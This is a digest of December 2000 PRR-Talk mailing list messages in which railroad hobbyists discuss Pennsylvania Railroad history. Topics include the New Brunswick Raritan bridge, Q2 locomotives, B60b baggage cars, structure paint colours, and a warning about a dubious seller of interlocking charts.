in with the United Railroads need

to replace the wooden double-deck railroad viaduct (a toll bridge for 

wagons); an

iron bridge was built in the 1870's (compare its design to the 1877 iron 

bridge at

Rockville), complete with a iron truss swing bridge (center pivot) across the 

Delaware and Raritan Canal.  In the 1890's the expansion of the PRR into a 

four-track main was combined with removal of grade crossings in New 

Brunswick: this would raise the level of the tracks at the corner of George 

and Hamilton Streets some twenty feet, which would have left a grade down 

from that place to the level of the "new" iron viaduct.  To raise the level 

of the viaduct, new stone arches were built from on the

New Brunswick side to the canal; a new steel swing bridge was mounted on the 

center pier in the canal, built up on a steel cribbing (this is the same 

bridge which

was recently discussed as being removed from the old C&A line from Trenton to 

Camden), the piers of the iron bridge were raised, and a two-track steel 

bridge was built to meet up with a new, higher, abutment on the bluffs on the 

Highland Park side. This steel bridge was a temporary structure(!!!) in that 

in was only used while the full four-track stone arch bridge was being built, 

and the canal swing bridge was removed (the fifty-foot arch across the canal 

then becoming the height limit for canal traffic).

  

>  Was there a railhead, albeit very short lived, at Raritan Landing prior

>  to the railroad  bridge opening? 



---No, nor any place to easily bring a rail line down to the Raritan Landing 

area

(Mill Brook valley too narrow, think of how Cedar Lane has to twist to climb 

the

grade); all river bottom swamp between Mill Brook and Landing Lane until 

Johnson Park built as a WPA project.  The demise of Raritan Landing was easy

to foretell from the time the footbridge was built in New Brunswick; why take 

a three-mile jog off the line of travel in order to cross the river at the 

fall line.

A location at a fall line is only usable for transhipments when the tidal 

range

and condition of the river is such that access is available through most of 

the

tide cycle.  I don't recall the official tide range at New Brunswick, but the 

floats

at the Rutgers boathouse handle an nominal eleven-foot range; that range 

leaves

mudflats in the river even downstream from the Albany Street bridge. In 

addition,

the building of a dam upstream from Landing Lane to supply make-up water for

the high canal lock above the railroad bridge, and for the outlet locks, 

reduced the

flow of the river in the summertime so that the area between Landing Lane and

and the railroad bridge has major bars (their locations have changed since 

the 

new Route 18 bridge was built); even at high tide, there are some spots where 

I would not like to be drawing more than three feet. Maritime commerce for 

New Brunswick ended at the steamboat landing next to the outlet docks, or 

used the canal.

  

>  Was the bridge built by the C&A or the NJRR&T or was it a joint venture?



---Joint: and probably the most expensive part of the United companies, once 

the canal was completed in full.

  

>  What were the arrangements to transfer freight and passengers between the

>  two companies from 1836 to 1840?



---Unknown without some research: not a too-bad walk on a nice day (except 

for having to pay toll on the bridge); package fright would be handcarried or

by wagon, anything heavier would probably be already on the water route

from New York to the D&R canal.

  

>  Did the Army run a temporary rail line down to the river from Camp Kilmer

>  during WWI? 



----Again, no path nor purpose: Camp Kilmer was a creation of World War II; 

idea

was to have this major staging area close enough to New York Harbor that 

troops

could get on a train and be put on a ship within hours without having to be 

fed.

  

>  The NJDOT/Gannet-Flemming/John Milner Associates et cetera website for

>  the dig is: www.raritanlanding.com 



----Interesting site: from old civil engineer class, I knew where the 

pre-Johnson Park

property lines were, but we never did any diggings (some were being done 

along the

park road in the surviving woods downstream of the Landing Land Bridge); it 

was

enough to have to dig down in the middle of Route 18 to the prime bench mark 

for the area, which had been overlaid over the years by an ever-widening 

River Road.



---Hope this is some use.  



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 14:30:12 -0500

Subject: Re: [PRR] CAD and Websites

From: Jerry Britton <jerry@pennsyrr.com>



On 12/27/00 2:14 PM, Colm Chomicky (ccho@burnsmcd.com) wrote:



> It appears many listers have created and maintain their own webpages  If you

> are so inclined, it is fairly easy.  There are plenty of free webhosting

> services, and I recall one of the list members will host PRR sites at no cost

> -- you just do the elbow work of making the site. If you do choose a free web

> hosting site, it is best to find one that does not barrage your visitors with

> pop-up advertisements or advertizing banners.



That's me! I offer free hosting of non-commercial RR-related sites via

either PENNSYRR.COM or RAILFANCENTRAL.COM. I must pre-approve the content to

insure that it actually contains worthwhile data and not just pages of links

to existing sites.



For those desiring a page(s) to show off their PRR layout, I even offer the

design aspect free-of-charge, as these tend to be fairly limited sites and

do not change often.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
From: JOELPRR@aol.com

Date: Wed, 27 Dec 2000 14:36:22 EST

Subject: [PRR] PRR Diesel Loco Pictorial



While over in Lancaster this past October I stopped at Strasburg and picked 

up a couple of books for Santa to give me at Christmas.  I got volumes 1 and 

2 of John Hahn's PRR Diesel Locomotive Pictorial.  I didn't see anything 

regarding  EMD power.  Does anything exist for this manufacturer?



Thanks,

Joel



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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 14:57:36 -0500

Subject: Re: [PRR] PRR Diesel Loco Pictorial

From: Jerry Britton <jerry@pennsyrr.com>



On 12/27/00 2:36 PM, JOELPRR@aol.com (JOELPRR@aol.com) wrote:



> While over in Lancaster this past October I stopped at Strasburg and picked

> up a couple of books for Santa to give me at Christmas.  I got volumes 1 and

> 2 of John Hahn's PRR Diesel Locomotive Pictorial.  I didn't see anything

> regarding  EMD power.  Does anything exist for this manufacturer?

> 

You were very lucky to find Volume 1 as it is out of print.



Vol. 2, as you know, features Baldwin switchers and road switchers

Vol. 3 features Second-Generation EMD road switchers

Vol. 4 features Baldwin cab and transfer units

Vol. 5, the most recent, features Fairbanks-Morse units



(The above are all available from "Merchandise Service" online.)



There is an EMD F unit book in the works, which may actually end up being

broken out into two volumes. Greg Martin, on this list and an editor for

Mainline Modeler, is collaborating with Withers Publishing on this project.

He most recently worked with Athearn on their soon-to-ship Genesis F units.



Beyond that, I can't say. I spoke with the Withers a month or so ago and

they indicated that they had purchased the entire photo collection from the

Jack Hahn estate and that, with many other feature books out of the way,

they were turning their efforts back to this series.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
Date: Wed, 27 Dec 2000 16:09:39 -0800

Subject: [PRR] B60b Travels beyond the PRR?

From: "Doug and Marianne" <babal@slip.net>



I know that B60b baggage cars traveled to several parts of the country 

beyond PRR rails including to many New England destinations, Texas, Florida,

and southern California (on the Santa Fe's Fast Mail).



What other destinations can be documented?  Did they travel to the Pacific

Northwest or northern California?  I assume they also went to Montreal via

New England.



In most cases I assume the B60b was used to carry mail.



Do these travels make the B60b the most-traveled railroad-owned passenger

train car? (not counting X-29's as passenger train cars and not including

non-railroad-owned REA and Pullman cars)



Thanks for your help.





Doug Nelson

Mill Valley, CA

babal@slip.net





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!!NEXT MESSAGE!!
From: BBReynolds@aol.com

Date: Wed, 27 Dec 2000 20:51:13 EST

Subject: [PRR] Re; Raritan Landing Question



Correction of a lapsus digitalis in my earlier posting: for "George and 

Hamilton" put

"George and Somerset" as the place where the New Brunswick bluff was closest

to the bluff on the Highland Park side of the river.



Bruce B. Reynolds, Trailing Edge Technologies, Glenside PA



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!!NEXT MESSAGE!!
From: VVA249@aol.com

Date: Wed, 27 Dec 2000 21:55:01 EST

Subject: Re: [PRR] Q-2



There was also one of those British Magazine type things - locomotive studies 

- called "Pennsylvania Duplexii" Covered the S-1 T-1 and Q-1 & 2. Most of the 

book was  devoted to the T-1, my copy's out on loan to a friend, right now - 

but I can access it, if necessary. Working from memory - but i believe that 

the number of 26, included the single Q-1.

Dick Ross



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!!NEXT MESSAGE!!
Date: Thu, 28 Dec 2000 01:07:05 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] Q-2



Bill, list,



Aside from Harley's book which has plans, there's some

information on the trials and tribulations of the Q2

in Black Gold-Black Diamonds Volume I by Eric

Hirsimaki.  Most of what I'm about to post starts on

his book on page 126 and beyond.  



As you probably know, the Q2 retained the duplex drive

layout of the Q1, but had 69" vs 77" drivers, and the

second set of cylinders was in front of the rear set

of drivers (6 for the Q2, 4 for the Q1).  PRR had

problems with the J1 class' initial counterbalancing

and looked to the low dynamic augment of a duplex

drive to solve the problem in a freight hauler of

their own design.  PRR essentially took the J1 boiler

and added a belpaire firebox.  The Q2 class had

problems, but generating steam was not one of them. 

Q2 6131, the first of her short-lived breed was placed

in service AFTER the order for 25 production Q2

engines (6175-6199) was placed. 



The Q2 generated almost 8000 horsepower on the Altoona

test plant, but after correcting for wind resistance

and friction losses, the Q2 was rated at 6473 drawbar

horsepower at 45 mph vs 6284 HP for the J1 (Hirsimaki

page 153).  Front cylinders were 19 3/4 by 28 and rear

cylinders were 23 3/4 by 29.  Engine weight was

619,100 pounds.  Starting TF was 100,800 pounds, and

115,800 with the booster.  



The problem was that the Q2 had marginally greater

power, but drank down more water and burned more coal

to do it, and a lot of the Q2 parts were not made by

the PRR.  J1 monthly mileage was 44-100% higher than

the Q2.  Ironically, a plain journal bearinged engine

first put into service C&O in 1930 was available to do

work more than a 1945-built roller bearinged colossus.



The diesel came online too fast to correct the Q2

problems (others included slipping when the antislip

butterfly valve failed to work correctly), and the end

came quickly.  M1 and I1sa engines finished out the

PRR steam freight era, not the speedy duplex engines.



Anyway, few Q2 engines ran after 1949, and all were

sold for scrap by 1956.  As you know, no PRR duplex

engines survived the torch; a pair of T1 tender trucks

rides under a large flatcar, and that's all.



Doug 





--- Bill Bigler <wbigler@stny.rr.com> wrote, in part:

> I'm intersted in information on the Q-2.  I believe

> the PRR had 26 of them.

> 



__________________________________________________

Do You Yahoo!?

Yahoo! Photos - Share your holiday photos online!

http://photos.yahoo.com/



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!!NEXT MESSAGE!!
Date: Thu, 28 Dec 2000 08:34:35 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] B60b Travels beyond the PRR?



Very often the B-60s were carrying weekly magazines.  Apparently the

publishers of Colliers, Life, Look, and the Sat Evening Post all used

printing plants along the PRR.  In the days before local printing of

internet transmitted copy, all the magazines were printed in one place

and dozens of RR cars carried them across the country.



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Doug and Marianne wrote:

> 

> I know that B60b baggage cars traveled to several parts of the country

> beyond PRR rails including to many New England destinations, Texas, Florida,

> and southern California (on the Santa Fe's Fast Mail).

> 

> What other destinations can be documented?  Did they travel to the Pacific

> Northwest or northern California?  I assume they also went to Montreal via

> New England.

> 

> In most cases I assume the B60b was used to carry mail.

> 

> Do these travels make the B60b the most-traveled railroad-owned passenger

> train car? (not counting X-29's as passenger train cars and not including

> non-railroad-owned REA and Pullman cars)

> 

> Thanks for your help.

> 

> Doug Nelson

> Mill Valley, CA

> babal@slip.net





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!!NEXT MESSAGE!!
From: DWa9975062@aol.com

Date: Thu, 28 Dec 2000 11:55:31 EST

Subject: [PRR] Medicine or  How to Stop Rivet-Counting:



A little piece I received from another list.

Thought you might enjoy.

Dayna







How do I stop being a "soul-less factoholic". Or is it a case of if I

  have to ask, I can never stop being one.



  I like watching trains, just to watch them. How do I stop being a

  rivet counter? It's not fun anymore.



  Don 





  *First, no last names, please, Brother Don.  We're all anonymous here.



  Second, look at the depths of your addiction:



  Are you unable to enjoy watching a train unless you can ascertain its

symbol and/or how close to schedule it is?



  Have you ever stood on a British station platform with an Ian Allan abc

spotter's guide, dressed in an anorak against the weather and pencilling

in the locos you have spotted?



  Have you ever come close to blows arguing whether the PRR loco you have

modeled and detailed actually sported that particular tender/trainphone

antenna/marker light/headlight placement in the particular year you

proclaim it represents?



  Has your day of train-watching been ruined because you couldn't

determine precisely whether that center locomotive in the freight lash-up

was a GP59 or GP60?



  Are you online right now looking for the rosters for those locos above?



  Do friends and relatives shy away from discussing trains with you?

Have you not had a date or relations with a member of the gender you're

attracted to in ages?



  Do you have more than one copy of the Official Railway Equipment

Register?



  When you spot an Alaska RR SD70 operating through Atlanta, do you

marvel at what kind of rail car ferry service is operating between

Savannah and Anchorage, or do you look to see what detail changes the ARR

made to their locos compared to NS/CSX?



  Have you programmed a multitude of locomotive models and RR

abbreviations into your computer's spell-check dictionary?



  Do you have a complete set of Extra 2200 South and/or your hometown

RR's T&HS journal?  Or, for that matter, Horn & Whistle, EMD operating

manuals, or employee timetables?  If not, is that one of your life's

goals?



  Have you ever seriously considered paying the $1,000 the guy was asking

for a complete set of track diagram charts for the entire Class One

railroad--and not to donate to the museum or NRHS library, but to stock

in your car for chasing?



  Are 90% or more of your computer browser's bookmarks rail sites,

separated into various folders for "Rosters", "Frequencies", "UP",

"BNSF", etc.?



  Did you ever pay money for a stock certificate for a railroad that was

never built or finished?



  Do you feel naked if you chase a train without at least one camera and

a scanner?



  *If you answered "yes" to one or more of the questions above, we wish

to assure you help is available.



  1)  Go trackside to a predictably-busy location like Rochelle,

Horseshoe Curve, Hunter Tower, or wherever.  Do NOT take a camera,

scanner, or notebook.  Sit low or kneel.  Recapture the child-like

fascination with things big, noisy, and exciting that probably got you

into this mess in the first place.  (And bring a friend with a camera so

he or she can capture that meet between a circus train and the business

train that will, according to the Railfan Axiom to Murphy's Law, result.)



  2) Go read the writings of David P. Morgan, specifically "The Mohawk

That Refused to Abdicate and Other Tales".  Go read the books on/of the

works of Howard Fogg and Ted Rose.  Read the writings of Mike Shafer in

PTJ and elsewhere.  Dredge up the writings of Mark Smith in Loco & Ry.

Preservation and ponder.  Get snowed in and read "Union Pacific" by Maury

Klein, or that copy of Ambrose's "Nothing Like It In The World" that some

well-meaning soul gave you for Christmas (ignore Brother Walt's

pronouncements on this book, just read it).  Read a few nutshell railroad

histories in the NRHS Bulletins you are no doubt shelving.



  3) Go listen to some music you've never heard before in a field you

don't know.....  Cajun-zydeco......  Balkan horos.....  Javan Gamelan

ensemble.....  old-time US country honky-tonk.....  Ecuadorean pan-pipe

music......  Beethoven string quartets....  So it doesn't have anything

to do with railroading directly.  Do it.  Hell, just find whatever we

list in the "Now Playing" postscripts to our posts and go from there.



  4) Learn that the world will not stop spinning if there isn't a

permanent record of, for example, exactly which IC Geeps were rebuilt by

Paducah, and that if it's really that important, someone else will have

the records as well, and if it's not important, well, it's still probably

buried in the library of the local or national NRHS, the NMRA, a rail

museum, state or national archives, etc.



  5) Find a niche sub-category--a particular branch line, exported GE's,

aftermarket air-brake parts, the location of ICC railroad documentation

records somewhere in the National Archives--that you can ascertain no one

else is documenting somewhere, and make your contribution to railfandom

the documentation of that particular niche.  If you must relapse, at

least make it a worthwhile relapse.



  6) Do regular online searches to examine what others are doing in the

field, so as to place your efforts in perspective, eliminate redundancy,

and foster cooperation.



  7)  Travel.  If you're an EARP, go west, and if you're a WARP, go east.

 Go someplace you've never even thought of going and poke around like a

curious cat or otter.  Check out that South Carolina short line, or the

Chesapeake Bay or NY Harbor car-float operation, or the Needles Sub, or

the Salt Lake, Garfield & Western.  Chase a locomotive model you don't

like--Susquehanna B40-8's, or Alco S2's.  I'm sure Brother Steve B. can

wax eloquent on lying on the car hood and looking at the stars in

Deepinaharta, Texas, or tracking trains passing wooden grain elevators

(and did you hear him whining because he missed 40-foot boxcars and

oddball RS-1325's or RS23's?).  If you cannot find things to open your

eyes and curiosity at, say, the former interurban trackage of the

Claremont & Concord, or a shortline fighting with the now-erratic pickups

and set-offs with their newly-merged connection, well, brother, there's

no hope for you, and we'll next refer you to the Hemlock Society.



  Would anyone else like to contribute five more steps so we can make

this a 12-step program?  Hey, you......  YOU, THERE....  *stop* trying to

figure out which locomotives had twelve steps on their pilots!



  Brother Alexander

  NP:  Altan, "Another Sky" (Irish contemporary-traditional folk music)

  ND: hot Earl Grey tea













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!!NEXT MESSAGE!!
From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] Authentic PRSL interlocking charts for sale

Date: Thu, 28 Dec 100 11:56:03 -0500 (EST)



PrivateVarnish@aol.com scribit:

> 

> Would you like to buy one booklet of authentic 1960 PRSL charts labeled "THE 

> PENNSYLVANIA-READING-SEASHORE LINES, BLOCK STATIONS, INTERLOCKINGS, ETC."?  

> 

> It has BUS CAR (for Business Car) hand written in yellow pencil on the front 

> cover sheet, which is navy blue.  White lines on navy background drawings.  

> Bound by 2 brass brads on left side.  Booklet is 11 1/2" wide by 5 1/4" tall, 

> but many of the charts inside fold out to a larger size.  Excellent 

> condition, almost unused.  Index sheet covers 26 interlockings from Atlantic 

> through Glassboro to Winslow and Woodbury.  $300 + $5/UPS

> 

> Please let me know quickly if you are interested.

> 

>                                                             Jim



Jim, Sir,

you have got to be kidding.



Unless your copy was signed by John Hancock, or unless the traces are

done in gold leaf and the pages hand-illumiated, $300 is somewhere between

3 and 6 times what this set is worth, given their very recent vintage and

the fact that the PRSL booklet is 1/4 or 1/5 the thickness of the

Philadelphia Division booklet.



-- 

Mark D. Bej

bejm@eeg.ccf.org 



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From: mittner@webtv.net (Gary Mittner)

Date: Thu, 28 Dec 2000 12:26:22 -0500 (EST)

Subject: [PRR] F Diaphrames



List.



    How early did the Pennsy shops start removing the factory installed

Diaphrams from F Units? Also what all was removed? Everything to the

door face or just the outer most parts? Boy, trying to find the rear end

photo of an F unit is tough. Anyone got any? Thanks, Gary  









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: endeimling@mindspring.com

Date: Thu, 28 Dec 2000 13:29:26 -0500

Subject: Re: [PRR] F Diaphrames



Gary:

I have asked this question several times on the net with little in the way of definitive info.   I have received photos of F-units from the rear but they were taken in the late 1950's.   If somone is doing a book on F-units, they should try to research the changes made in the units over their life.   This has been done for other roads but is lacking on the PRR.  Much of the photographic evidence of F-units has been shot from the front or very late in their late span.    I am trying to finish a set of O scale P&D F-units and have stalled out on several detail issues.



Gene Deimling  

Gary Mittner <mittner@webtv.net> wrote:

> List.



    How early did the Pennsy shops start removing the factory installed

Diaphrams from F Units? Also what all was removed? Everything to the

door face or just the outer most parts? Boy, trying to find the rear end

photo of an F unit is tough. Anyone got any? Thanks, Gary  









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: "Doug Day" <dougday@1st.net>

Subject: [PRR] Structure colors.

Date: Thu, 28 Dec 2000 13:25:34 -0500



Planning on building some pennsy lineside structures.  I'd like to know if

there is a commercially available (Floquil, etc.) paint that is a match for

the brown and tan colors that the Pennsy used.



Also planning on scratchbuilding the Steubenville, OH station circa 1900.

Does anybody have any photos and/or suggestions.



Enjoying the list and tryin' to do the Pennsy justice.



Doug





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Date: Thu, 28 Dec 2000 13:42:03 -0600

From: Greg Johnson <gjohnson@unitedvalve.com>

Subject: [PRR] RailCommand equipped PRR diesels



I have for sale, several PRR diesels with CVP products RailCommand receivers

installed in them. I also have a Stewart LV FT A+B with RailCommand receiver

installed. If anyone is interested, please contact me off list. I also have

a RailCommand command station, local panel, (3) power boosters and four

throttles for sale.





Regards,



Greg Johnson





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Date: Thu, 28 Dec 2000 17:37:18 -0500 (EST)

From: Mark Ryan <digamma@eden.rutgers.edu>

Subject: [PRR] Re: Raritan Landing Question



Wow, you're talking about my backyard!  I live in the University Center at

Easton Avenue, which is on the corner of Easton and Somerset, and my

window faces the New Brunswick station.  If anyone has questions

about the area as it exists in the year 2000, I might be able to help.



mark





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From: "David Luciano" <davesrr@snip.net>

Subject: Re: [PRR] Authentic PRSL interlocking charts for sale "BEWARE"

Date: Thu, 28 Dec 2000 23:17:49 -0500



Everyone ON List



BEWARE OF THIS GUY.

DON"T SEND HIM A CENT. THE BOOKLET(S) ARE STOLEN.

I questioned him about them asking him why he was in a hurry,

why so much money, & if stolen. He responsed back saying

they were "hot" & to make him a quick offer



Jerry, You should be aware of this stuff .

I tried emailing him again & the email address has been disconnected



Dave Luciano





-----Original Message-----

From: Mark Bej <bejm@eeg.ccf.org>

To: PrivateVarnish@aol.com <PrivateVarnish@aol.com>

Cc: PRR-Talk@dsop.com <PRR-Talk@dsop.com>

Date: Thursday, December 28, 2000 12:12 PM

Subject: Re: [PRR] Authentic PRSL interlocking charts for sale





>PrivateVarnish@aol.com scribit:

>>

>> Would you like to buy one booklet of authentic 1960 PRSL charts labeled

"THE

>> PENNSYLVANIA-READING-SEASHORE LINES, BLOCK STATIONS, INTERLOCKINGS,

ETC."?

>>

>> It has BUS CAR (for Business Car) hand written in yellow pencil on the

front

>> cover sheet, which is navy blue.  White lines on navy background

drawings.

>> Bound by 2 brass brads on left side.  Booklet is 11 1/2" wide by 5 1/4"

tall,

>> but many of the charts inside fold out to a larger size.  Excellent

>> condition, almost unused.  Index sheet covers 26 interlockings from

Atlantic

>> through Glassboro to Winslow and Woodbury.  $300 + $5/UPS

>>

>> Please let me know quickly if you are interested.

>>

>>                                                             Jim

>

>Jim, Sir,

>you have got to be kidding.

>

>Unless your copy was signed by John Hancock, or unless the traces are

>done in gold leaf and the pages hand-illumiated, $300 is somewhere between

>3 and 6 times what this set is worth, given their very recent vintage and

>the fact that the PRSL booklet is 1/4 or 1/5 the thickness of the

>Philadelphia Division booklet.

>

>--

>Mark D. Bej

>bejm@eeg.ccf.org

>

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From: "David Luciano" <davesrr@snip.net>

Subject: [PRR] Re: Authentic PRSL interlocking charts for sale  "BEWARE"

Date: Thu, 28 Dec 2000 23:25:07 -0500



Hi Everyone,

Do not purchase or send this guy any money.

Here is his responses to my questions listed below



I think his email address has since been disconnected.

This may be a scam.   Beware !!



Dave Luciano



-----Original Message-----

From: PrivateVarnish@aol.com <PrivateVarnish@aol.com>

To: davesrr@snip.net <davesrr@snip.net>

Date: Friday, December 22, 2000 6:52 PM

Subject: Re: Authentic PRSL interlocking charts for sale





>In a message dated 12/22/00 4:36:54 PM Central Standard Time, 

>davesrr@snip.net writes:

>

><< Not at $300                Offer?

> And why "quickly".          For my convenience.

> "hot or something" >>     Yes.

>





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From: CAl2446507@aol.com

Date: Thu, 28 Dec 2000 23:45:50 EST

Subject: [PRR] PRSL BEWARE



List and Dave

                         This guy is strange he offered me them at several 

different prices over the last few months and when i told him that i did not 

want it for those prices he sent me very insulting e mails he told me he was 

selling them for a retired PRR man

he said he had the whole system to sell so be careful its a shame there are 

underhanded people out there especially at this time of year.

                                                                       

Charlie Almond



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From: Mark Bej <bejm@eeg.ccf.org>

Subject: Re: [PRR] Authentic PRSL interlocking charts for sale "BEWARE"

Date: Fri, 29 Dec 100 09:13:40 -0500 (EST)



David Luciano scribit:

> 

> Everyone ON List

> 

> BEWARE OF THIS GUY.

> DON"T SEND HIM A CENT. THE BOOKLET(S) ARE STOLEN.



I don't think they're stolen.



> I questioned him about them asking him why he was in a hurry,

> why so much money, & if stolen. He responsed back saying

> they were "hot" & to make him a quick offer



Dave et al., I think he is using the word "hot" not to mean stolen,

but to mean "exciting, great". Think about it. Do people try to unload

stolen goods at exhorbitant prices, or do they sell it cheap, so

that they can get rid of it quickly?



Now the part about him selling it for a retired PRR man sounds like

so much hooey. He's tugging at your heartstrings trying to get you

to part with your money (and to use a *3rd* cliche in this sentence,

will then laugh all the way to the bank).



 

-- 

Mark



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From: VVA249@aol.com

Date: Fri, 29 Dec 2000 14:15:48 EST

Subject: Re: [PRR] Structure colors.



I used a regular hardware store can of "Desert tan" for the "Buff" and a 

military Brown/Black for the "Brown" trim, mixed in a bit of Tuscan to meet 

the PRR T&HS chips - I believe the set for structures is still available. 

Note that several manufacturers idea of PRR buff, as a yellow, is totally 

incorrect. From my experience and photos, like the one of a very beat up 

"Slope" on this month's calendar, is that the actual color is a beige/tan 

which weathered either lighter or darker - depending on the location.

Dick Ross

Cleveland



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From: "Al Buchan" <abbuchan1@home.com>

Subject: Re; [PRR] Structure Colors

Date: Sat, 30 Dec 2000 10:21:18 -0500



Dick and list,



Regarding building colors by 1954 there were actually four schemes of

standard colors for building exteriors. Supplement 1 to Letter of General

Practice No. 88-H, dated March 22, 1954.



Scheme 1

Light Building Paint ground

Dark Building Paint trim



Scheme 2

Medium or Light Gray ground

Maroon trim



Scheme 3

Buff Building Paint ground

Dark Building Paint trim



Scheme 4

Buff Building paint ground

Sage Green trim



The one that I believe Dick is referring to is Scheme 1, which I refer to as

the quintessential PRR structure color. I think this is best seen on the

cover of PDY 5 - on the Drocton block station. I replicate these colors by

using Polly Scale Aged Concrete for ground and Poly Scale Dirt for the trim.

Although these colors are lighter and not exact matches of the color drift

cards, to my eye they give the faded look that is evident at Drocton as well

as many other places. I also use Caboose Red for the window sash.



I don't know which color Dick is referring to that several manufacturers use

and considers incorrect. It might be Scheme 3 where the Buff Building color

was used as ground color. The Buff is a more light yellow-cream color and up

until a few years ago could be seen on the Millersville Freight Station (on

the NC), which at the time was a pool supply business and might still be

there.



Al







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From: Bobspf@aol.com

Date: Sat, 30 Dec 2000 12:25:59 EST

Subject: Re: Re; [PRR] Structure Colors



In a message dated 12/30/00 9:37:33 AM Central Standard Time, 

abbuchan1@home.com writes:



<< The one that I believe Dick is referring to is Scheme 1, which I refer to 

as

 the quintessential PRR structure color.  >>



I have used PollyScale military colors for the light building color. Khaki 

mixed with white to get the fading color Al refers to.  I have to dig out of 

my storage locker, but it seems to me I used the Israeli khaki rather than 

the U.S. khaki for a closer match.



Bob Zoeller



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From: "Gene Deimling" <endeimling@mindspring.com>

Subject: [PRR] H10 Tenders

Date: Sat, 30 Dec 2000 10:19:03 -0800



Can anyone help me with information on the class of tenders most common to

H10 locos?  I know about the 80F81 used on Lines West.   My Key model has

one of those.  I need to replace it with tender type found on locos in the

eastern PA and NJ area.

Thanks and Happy New Year



Gene Deimling





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From: K-4sDRIVER@webtv.net (Mark Lehman)

Date: Sat, 30 Dec 2000 16:25:27 -0500 (EST)

Subject: Re: Re; [PRR] Structure Colors



 Do the PRR color drift cards have color numbers assigned to them? What

I'm getting at is can I see the prr colors using the HTML  color pallet? 



 I questioned a 92 year old East Conemaugh resident about the color of

that station. Her first response was dark. I assume because of all the

soot. Her recollection was Brown. Any thoughts what color she was

referring to?--Mark L





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From: Bobspf@aol.com

Date: Sat, 30 Dec 2000 17:04:11 EST

Subject: [PRR] Covered hopper painting and lettering



Question came up on Prototype Modeler list.  H33 in 1953 was last Pennsy 

covered hopper delivered in red.  H34 in 1954 was delivered in gray. The 

circle keystone was introduced in early 1954 on boxcars.  When did the 

drawing for covered hoppers change to gray with shadow keystone?  Anyone know 

how fast the older cars were repainted?



Bob Zoeller



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From: "lmatt" <lmatt@alltel.net>

Subject: Re: [PRR] B60 underside drawings??

Date: Sat, 30 Dec 2000 23:44:30 -0500



Please be aware that the B60 drawings listed by the PRRT&HS are actually

B60b drawings.  No underbody arraingement is available for this car.  I am

trying to do a scale drawing of an as built B60 but am stuck on  completing

the underbody arraingement.  If anyone can help with even verbal info, I

would be glad to hear.



Lew Matt

PRRT&HS #6107





----- Original Message -----

From: "Gene Deimling" <endeimling@mindspring.com>

To: "Doug and Marianne" <babal@slip.net>; <prr-talk@dsop.com>

Sent: Thursday, December 21, 2000 9:51 AM

Subject: RE: [PRR] B60 underside drawings??





> Doug:

> The PRRT&HS maintains a large selection of engineering drawings from which

> copies can be made for a fee.  The B60 is listed.   They have general

> arrnagement drawings and detail drawings.   You will need to order a list

of

> drawings for a specific card.  The fall issue of the Keystone had some

> information on the service.  You will need to be a member to order the

> drawings.   The service has been somewhat slow lately but the information

is

> worth the wait.

> Gene Deimling

> -----Original Message-----

> From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Doug and

> Marianne

> Sent: Wednesday, December 20, 2000 11:09 PM

> To: prr-talk@dsop.com

> Subject: [PRR] B60 underside drawings??

>

>

> Can someone point me to a photo, drawing, or diagram of the underside of a

> B60?  Were there any variations?

>

> Thank you,

>

> Doug Nelson

> Mill Valley, CA

> babal@slip.net

>

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Date: Sat, 30 Dec 2000 20:13:48 -0800

Subject: Re: [PRR] B60 underside drawings??

From: "Doug and Marianne" <babal@slip.net>



Lew:  



Brian Butcher pointed me to a great photo of an overturned B60b in a wreck

photo from "The Pennsy in the Steel City", page 62.  It shows the structural

members very well for on half of the car, as well as some of the mechanical

equipment.  It was perfect for my need.  I guess its anyones guess as to

whether the underside of a B60 is different than that from a B60b.  They

were probably designed about 20 years apart.



Good luck,



Doug Nelson



----------

>From: "lmatt" <lmatt@alltel.net>

>To: "Gene Deimling" <endeimling@mindspring.com>, <babal@slip.net>

>Cc: <prr-talk@dsop.com>

>Subject: Re: [PRR] B60 underside drawings??

>Date: Sat, Dec 30, 2000, 8:44 PM

>



> Please be aware that the B60 drawings listed by the PRRT&HS are actually

> B60b drawings.  No underbody arraingement is available for this car.  I am

> trying to do a scale drawing of an as built B60 but am stuck on  completing

> the underbody arraingement.  If anyone can help with even verbal info, I

> would be glad to hear.

>

> Lew Matt

> PRRT&HS #6107



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From: TGREGMRTN@aol.com

Date: Sun, 31 Dec 2000 00:47:08 EST

Subject: Re: [PRR] Covered hopper painting and lettering



Bob and all,



When I did the research of the H-33 for my modeling article (at the time I 

had plenty of time as I recovering from a heart attack at age 37) I found 

evidence of a gray painting diagram for the H-33 but I never have nor have I 

found anyone who will actually show photo evidence that any of them were 

repainted in the gray and black scheme.  But to answer you in context...



<< Question came up on Prototype Modeler list.  H33 in 1953 was last Pennsy 

covered hopper delivered in red.>>



Lettering and Keystone on the Ball were white...



